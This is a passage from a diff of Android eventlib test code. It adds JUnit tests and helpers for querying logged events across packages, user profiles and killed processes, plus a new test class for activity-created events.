CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG2)
@@ -290,6 +525,17 @@
}
@Test
+ public void next_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+ }
+
+ @Test
public void poll_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
CustomEvent.logger(CONTEXT)
.setTag(TEST_TAG2)
@@ -305,6 +551,16 @@
}
@Test
+ public void poll_differentPackage_loggedPreviouslyWithDifferentData_returnsCorrectEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG1);
+ }
+
+ @Test
public void get_multipleLoggedEvents_returnsFirstEvent() {
CustomEvent.logger(CONTEXT)
.setData(DATA_1)
@@ -319,6 +575,16 @@
}
@Test
+ public void get_differentPackage_multipleLoggedEvents_returnsFirstEvent() {
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+ assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+ }
+
+ @Test
public void get_multipleCalls_alwaysReturnsFirstEvent() {
CustomEvent.logger(CONTEXT)
.setData(DATA_1)
@@ -333,9 +599,18 @@
}
@Test
+ public void get_differentPackage_multipleCalls_alwaysReturnsFirstEvent() {
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ eventLogs.get();
+
+ assertThat(eventLogs.get().data()).isEqualTo(DATA_1);
+ }
+
+ @Test
public void get_loggedAfter_returnsNull() {
- EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
- .withTag(TEST_TAG1);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
scheduleCustomEventInOneSecond();
@@ -343,6 +618,15 @@
}
@Test
+ public void get_differentPackage_loggedAfter_returnsNull() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+ scheduleCustomEventInOneSecondOnTestApp();
+
+ assertThat(eventLogs.get()).isNull();
+ }
+
+ @Test
public void next_loggedAfter_returnsNull() {
EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName());
@@ -352,17 +636,40 @@
}
@Test
+ public void next_differentPackage_loggedAfter_returnsNull() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+ scheduleCustomEventInOneSecondOnTestApp();
+
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
public void poll_loggedAfter_returnsEvent() {
EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
.withTag(TEST_TAG1);
// We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
// as we're blocking for the event in this method
- new Handler(Looper.getMainLooper()).postDelayed(() ->
- CustomEvent.logger(CONTEXT)
- .setTag(TEST_TAG1)
- .log(),
- ONE_SECOND_DELAY_MILLIS);
+ mScheduledExecutorService.schedule(() -> {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ }, 1, TimeUnit.SECONDS);
+
+ assertThat(eventLogs.poll()).isNotNull();
+ }
+
+ @Test
+ public void poll_differentPackage_loggedAfter_returnsEvent() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+ // as we're blocking for the event in this method
+ mScheduledExecutorService.schedule(() -> {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ }, 1, TimeUnit.SECONDS);
assertThat(eventLogs.poll()).isNotNull();
}
@@ -382,6 +689,16 @@
}
@Test
+ public void next_differentPackage_loggedAfterPreviousCallToNext_returnsNewEvent() {
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ eventLogs.next();
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+ assertThat(eventLogs.next().data()).isEqualTo(DATA_2);
+ }
+
+ @Test
public void poll_loggedAfterPreviousCallToPoll_returnsNewEvent() {
CustomEvent.logger(CONTEXT)
.setData(DATA_1)
@@ -396,6 +713,16 @@
}
@Test
+ public void poll_differentPackage_loggedAfterPreviousCallToPoll_returnsNewEvent() {
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ eventLogs.poll();
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_2);
+
+ assertThat(eventLogs.poll().data()).isEqualTo(DATA_2);
+ }
+
+ @Test
public void next_calledOnSeparateQuery_returnsFromStartsAgain() {
CustomEvent.logger(CONTEXT)
.setData(DATA_1)
@@ -403,7 +730,18 @@
EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(CONTEXT.getPackageName());
EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(CONTEXT.getPackageName());
- assertThat(eventLogs1.next()).isEqualTo(eventLogs2.next());
+ assertThat(eventLogs1.next()).isNotNull();
+ assertThat(eventLogs2.next()).isNotNull();
+ }
+
+ @Test
+ public void next_differentPackage_calledOnSeparateQuery_returnsFromStartsAgain() {
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+ EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+ assertThat(eventLogs1.next()).isNotNull();
+ assertThat(eventLogs2.next()).isNotNull();
}
@Test
@@ -414,14 +752,484 @@
EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(CONTEXT.getPackageName());
EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(CONTEXT.getPackageName());
- assertThat(eventLogs1.poll()).isEqualTo(eventLogs2.poll());
+ assertThat(eventLogs1.next()).isNotNull();
+ assertThat(eventLogs2.next()).isNotNull();
+ }
+
+ @Test
+ public void poll_differentPackage_calledOnSeparateQuery_returnsFromStartsAgain() {
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ DATA_1);
+ EventLogs<CustomEvent> eventLogs1 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ EventLogs<CustomEvent> eventLogs2 = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+
+ assertThat(eventLogs1.next()).isNotNull();
+ assertThat(eventLogs2.next()).isNotNull();
+ }
+
+ @Test
+ public void get_obeysLambdaFilter() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()));
+
+ assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+ }
+
+ @Test
+ public void get_differentPackage_obeysLambdaFilter() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .filter(e -> TEST_TAG2.equals(e.tag()));
+
+ assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG2);
+ }
+
+ @Test
+ public void poll_obeysLambdaFilter() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()));
+
+ assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void poll_differentPackage_obeysLambdaFilter() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .filter(e -> TEST_TAG2.equals(e.tag()));
+
+ assertThat(eventLogs.poll().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void next_obeysLambdaFilter() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()));
+
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void next_differentPackage_obeysLambdaFilter() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .filter(e -> TEST_TAG2.equals(e.tag()));
+
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void get_obeysMultipleLambdaFilters() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .setData(DATA_1)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()))
+ .filter(e -> DATA_1.equals(e.data()));
+
+ CustomEvent event = eventLogs.get();
+ assertThat(event.tag()).isEqualTo(TEST_TAG2);
+ assertThat(event.data()).isEqualTo(DATA_1);
+ }
+
+ @Test
+ public void get_differentPackage_obeysMultipleLambdaFilters() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .filter(e -> TEST_TAG2.equals(e.tag()))
+ .filter(e -> DATA_1.equals(e.data()));
+
+ CustomEvent event = eventLogs.get();
+ assertThat(event.tag()).isEqualTo(TEST_TAG2);
+ assertThat(event.data()).isEqualTo(DATA_1);
+ }
+
+ @Test
+ public void poll_obeysMultipleLambdaFilters() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .setData(DATA_1)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()))
+ .filter(e -> DATA_1.equals(e.data()));
+
+ CustomEvent event = eventLogs.poll();
+ assertThat(event.tag()).isEqualTo(TEST_TAG2);
+ assertThat(event.data()).isEqualTo(DATA_1);
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void poll_differentPackage_obeysMultipleLambdaFilters() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .filter(e -> TEST_TAG2.equals(e.tag()))
+ .filter(e -> DATA_1.equals(e.data()));
+
+ CustomEvent event = eventLogs.poll();
+ assertThat(event.tag()).isEqualTo(TEST_TAG2);
+ assertThat(event.data()).isEqualTo(DATA_1);
+ assertThat(eventLogs.poll(VERY_SHORT_POLL_WAIT)).isNull();
+ }
+
+ @Test
+ public void next_obeysMultipleLambdaFilters() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .log();
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG2)
+ .setData(DATA_1)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .filter(e -> TEST_TAG2.equals(e.tag()))
+ .filter(e -> DATA_1.equals(e.data()));
+
+ CustomEvent event = eventLogs.next();
+ assertThat(event.tag()).isEqualTo(TEST_TAG2);
+ assertThat(event.data()).isEqualTo(DATA_1);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void next_differentPackage_obeysMultipleLambdaFilters() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ DATA_1);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .filter(e -> TEST_TAG2.equals(e.tag()))
+ .filter(e -> DATA_1.equals(e.data()));
+
+ CustomEvent event = eventLogs.next();
+ assertThat(event.tag()).isEqualTo(TEST_TAG2);
+ assertThat(event.data()).isEqualTo(DATA_1);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void pollOrFail_hasEvent_returnsEvent() {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.pollOrFail().tag()).isEqualTo(TEST_TAG1);
+ }
+
+ @Test
+ public void pollOrFail_differentPackage_hasEvent_returnsEvent() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThat(eventLogs.pollOrFail().tag()).isEqualTo(TEST_TAG1);
+ }
+
+ @Test
+ public void pollOrFail_noEvent_throwsException() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+
+ assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+ }
+
+ @Test
+ public void pollOrFail_loggedAfter_throwsException() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+ scheduleCustomEventInOneSecond();
+
+ assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+ }
+
+ @Test
+ public void pollOrFail_differentPackage_noEvent_throwsException() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+ }
+
+ @Test
+ public void pollOrFail_differentPackage_loggedAfter_throwsException() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+ scheduleCustomEventInOneSecondOnTestApp();
+
+ assertThrows(AssertionError.class, () -> eventLogs.pollOrFail(VERY_SHORT_POLL_WAIT));
+ }
+
+ @Test
+ public void pollOrFail_loggedAfter_returnsEvent() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(CONTEXT.getPackageName())
+ .withTag(TEST_TAG1);
+
+ // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+ // as we're blocking for the event in this method
+ mScheduledExecutorService.schedule(() -> {
+ CustomEvent.logger(CONTEXT)
+ .setTag(TEST_TAG1)
+ .log();
+ }, 1, TimeUnit.SECONDS);
+
+ assertThat(eventLogs.pollOrFail()).isNotNull();
+ }
+
+ @Test
+ public void pollOrFail_differentPackage_loggedAfter_returnsEvent() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(TEST_TAG1);
+
+ // We don't use scheduleCustomEventInOneSecond(); because we don't need any special teardown
+ // as we're blocking for the event in this method
+ mScheduledExecutorService.schedule(() -> {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ }, 1, TimeUnit.SECONDS);
+
+ assertThat(eventLogs.pollOrFail()).isNotNull();
+ }
+
+ @Test
+ public void otherProcessGetsKilled_stillReturnsLogs() {
+ logCustomEventOnTestApp(/* tag= */ null, /* data= */ null);
+
+ killTestApp();
+
+ assertThat(CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get()).isNotNull();
+ }
+
+ @Test
+ public void otherProcessGetsKilledMultipleTimes_stillReturnsOriginalLog() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ killTestApp();
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ killTestApp();
+
+ assertThat(
+ CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME).get().tag()).isEqualTo(TEST_TAG1);
+ }
+
+ @Test
+ public void otherProcessGetsKilled_returnsLogsInCorrectOrder() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ killTestApp();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void otherProcessGetsKilledMultipleTimes_returnsLogsInCorrectOrder() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ killTestApp();
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG2, /* data= */ null);
+ killTestApp();
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME);
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG1);
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.next()).isNull();
+ }
+
+ @Test
+ public void differentUser_queryWorks() {
+ // TODO(scottjonathan): This tests on a profile because otherwise we can't start the
+ // activity. Once ConnectedTests is available, replace this
+ // TODO(scottjonathan): Once bedstead-Marshall is ready, replace this setup/teardown with
+ // annotations
+ UserHandle userHandle = createProfile();
+ try {
+ installTestAppInUser(userHandle);
+ logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG1, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .onUser(userHandle);
+
+ assertThat(eventLogs.get().tag()).isEqualTo(TEST_TAG1);
+ } finally {
+ removeUser(userHandle);
+ }
+ }
+
+ @Test
+ public void differentUser_doesntGetEventsFromWrongUser() {
+ UserHandle userHandle = createProfile();
+ try {
+ installTestAppInUser(userHandle);
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ null);
+ logCustomEventOnTestApp(userHandle, /* tag= */ TEST_TAG2, /* data= */ null);
+
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .onUser(userHandle);
+
+ assertThat(eventLogs.next().tag()).isEqualTo(TEST_TAG2);
+ assertThat(eventLogs.next()).isNull();
+ } finally {
+ removeUser(userHandle);
+ }
+ }
+
+ @Test
+ public void onUser_passesNullUser_throwsNullPointerException() {
+ assertThrows(NullPointerException.class,
+ () -> CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .onUser(/* userHandle= */ null));
+ }
+
+ @Test
+ public void incorrectUserHandle_fails() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .onUser(NON_EXISTING_USER_HANDLE);
+
+ assertThrows(AssertionError.class, eventLogs::get);
+ }
+
+ @Test
+ public void incorrectPackageName_fails() {
+ EventLogs<CustomEvent> eventLogs = CustomEvent.queryPackage(INCORRECT_PACKAGE_NAME);
+
+ assertThrows(AssertionError.class, eventLogs::get);
+ }
+
+ private UserHandle createProfile() {
+ UserManager userManager = CONTEXT.getSystemService(UserManager.class);
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ UserHandle userHandle = userManager.createProfile("profile",
+ UserManager.USER_TYPE_PROFILE_MANAGED, new HashSet<>());
+ SystemUtil.runShellCommandOrThrow("am start-user -w " + userHandle.getIdentifier());
+ return userHandle;
+ }
+
+ private void installTestAppInUser(UserHandle userHandle) {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ try {
+ CONTEXT.getPackageManager().installExistingPackageAsUser(
+ TEST_APP_PACKAGE_NAME, userHandle.getIdentifier());
+
+ } catch (PackageManager.NameNotFoundException e) {
+ fail("Could not install test app in user", e);
+ }
+ }
+
+ private void removeUser(UserHandle userHandle) {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ CONTEXT.getSystemService(UserManager.class).removeUser(userHandle);
}
private void scheduleCustomEventInOneSecond() {
hasScheduledEvents = true;
- new Handler(Looper.getMainLooper()).postDelayed(() ->
- CustomEvent.logger(CONTEXT)
- .log(),
- ONE_SECOND_DELAY_MILLIS);
+
+ mScheduledExecutorService.schedule(() -> {
+ CustomEvent.logger(CONTEXT)
+ .log();
+ }, 1, TimeUnit.SECONDS);
}
+
+ private void logCustomEventOnTestApp(UserHandle userHandle, String tag, String data) {
+ Intent intent = new Intent();
+ intent.setPackage(TEST_APP_PACKAGE_NAME);
+ intent.setClassName(TEST_APP_PACKAGE_NAME, TEST_APP_PACKAGE_NAME + ".EventLoggingActivity");
+ intent.setFlags(FLAG_ACTIVITY_NEW_TASK | FLAG_ACTIVITY_CLEAR_TASK);
+ intent.putExtra("TAG", tag);
+ intent.putExtra("DATA", data);
+
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ CONTEXT.startActivityAsUser(intent, userHandle);
+
+ CustomEvent.queryPackage(TEST_APP_PACKAGE_NAME)
+ .withTag(tag)
+ .withData(data)
+ .onUser(userHandle)
+ .pollOrFail();
+ }
+
+ private void logCustomEventOnTestApp(String tag, String data) {
+ logCustomEventOnTestApp(UserHandle.CURRENT, tag, data);
+ }
+
+ private void logCustomEventOnTestApp() {
+ logCustomEventOnTestApp(/* tag= */ TEST_TAG1, /* data= */ DATA_1);
+ }
+
+ private void scheduleCustomEventInOneSecondOnTestApp() {
+ hasScheduledEventsOnTestApp = true;
+
+ mScheduledExecutorService.schedule(
+ (Runnable) this::logCustomEventOnTestApp, 1, TimeUnit.SECONDS);
+ }
+
+ private void killTestApp() {
+ InstrumentationRegistry.getInstrumentation()
+ .getUiAutomation().adoptShellPermissionIdentity();
+ CONTEXT.getSystemService(ActivityManager.class).forceStopPackage(TEST_APP_PACKAGE_NAME);
+ }
+
+ // TODO: Ensure tests work on O+
}
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
index 765dca3..800ee9e 100644
--- a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/CustomEventTest.java
@@ -24,12 +24,16 @@
import com.android.eventlib.EventLogs;
+import org.junit.Before;
import org.junit.Test;
import org.junit.runner.RunWith;
import org.junit.runners.JUnit4;
@RunWith(JUnit4.class)
-public class CustomEventTest {
+public final class CustomEventTest {
+
+ // TODO: We need a standard pattern for testing that events log correctly cross-process
+ // (when within the process serialization never happens)
private static final Context CONTEXT = InstrumentationRegistry.getInstrumentation().getContext();
private static final String TAG_1 = "TAG_1";
@@ -37,6 +41,11 @@
private static final String DATA_1 = "DATA_1";
private static final String DATA_2 = "DATA_2";
+ @Before
+ public void setUp() {
+ EventLogs.resetLogs();
+ }
+
@Test
public void queryTag_works() {
CustomEvent.logger(CONTEXT)
diff --git a/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
new file mode 100644
index 0000000..e26d1cf
--- /dev/null
+++ b/common/device-side/eventlib/src/test/java/com/android/eventlib/events/activities/ActivityCreatedEventTest.java
@@ -0,0 +1,147 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.eventlib.events.activities;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import static org.mockito.Mockito.mock;
+import static org.mockito.Mockito.when;
+
+import android.app.Activity;
+import android.content.Context;
+import android.os.Bundle;
+import android.os.PersistableBundle;
+
+import androidx.test.platform.app.InstrumentationRegistry;
+
+import com.android.eventlib.EventLogs;
+
+import org.junit.Before;
+import org.junit.Test;
+import org.junit.runner.RunWith;
+import org.junit.runners.JUnit4;
+
+@RunWith(JUnit4.class)
+public final class ActivityCreatedEventTest {
+
+ private static final Context CONTEXT =
+ InstrumentationRegistry.getInstrumentation().getContext();
+
+ // TODO(scottjonathan): Replace mock with ContextActivity when ready
+ private final Activity mActivity = mock(Activity.class);
+ private final Bundle mSavedInstanceState = new Bundle();
+ private final PersistableBundle mPersistentState = new PersistableBundle();
+
+ // These values come from the mock
+ private final String DEFAULT_ACTIVITY_NAME = mActivity.getClass().getName();
+ private final String DEFAULT_ACTIVITY_SIMPLE_NAME = mActivity.getClass().getSimpleName();
+
+ private static final String CUSTOM_ACTIVITY_NAME = "customActivityName";
+
+ @Before
+ public void setUp() {
+ when(mActivity.getApplicationContext()).thenReturn(CONTEXT);
+ EventLogs.resetLogs();
+ }
+
+ @Test
+ public void querySavedInstanceState_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState).log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withSavedInstanceState(mSavedInstanceState);
+
+ assertThat(eventLogs.get().savedInstanceState()).isEqualTo(mSavedInstanceState);
+ }
+
+ @Test
+ public void queryPersistentState_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .setPersistentState(mPersistentState)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withPersistentState(mPersistentState);
+
+ assertThat(eventLogs.get().persistentState()).isEqualTo(mPersistentState);
+ }
+
+ @Test
+ public void queryName_customValueOnLogger_works() {
+ ActivityCreatedEvent.logger(mActivity, mSavedInstanceState)
+ .setName(CUSTOM_ACTIVITY_NAME)
+ .log();
+
+ EventLogs<ActivityCreatedEvent> eventLogs =
+ ActivityCreatedEvent.queryPackage(CONTEXT.getPackageName())
+ .withActivityName(CUSTOM_ACTIVITY_NAME);
+
+ assertThat(eventLogs.get().name()).isEqualTo(CUSTOM_ACTIVITY_NAME);
+ }
+
+ @Test
+ public void querySimpleName_customValueOnLogger_works() {
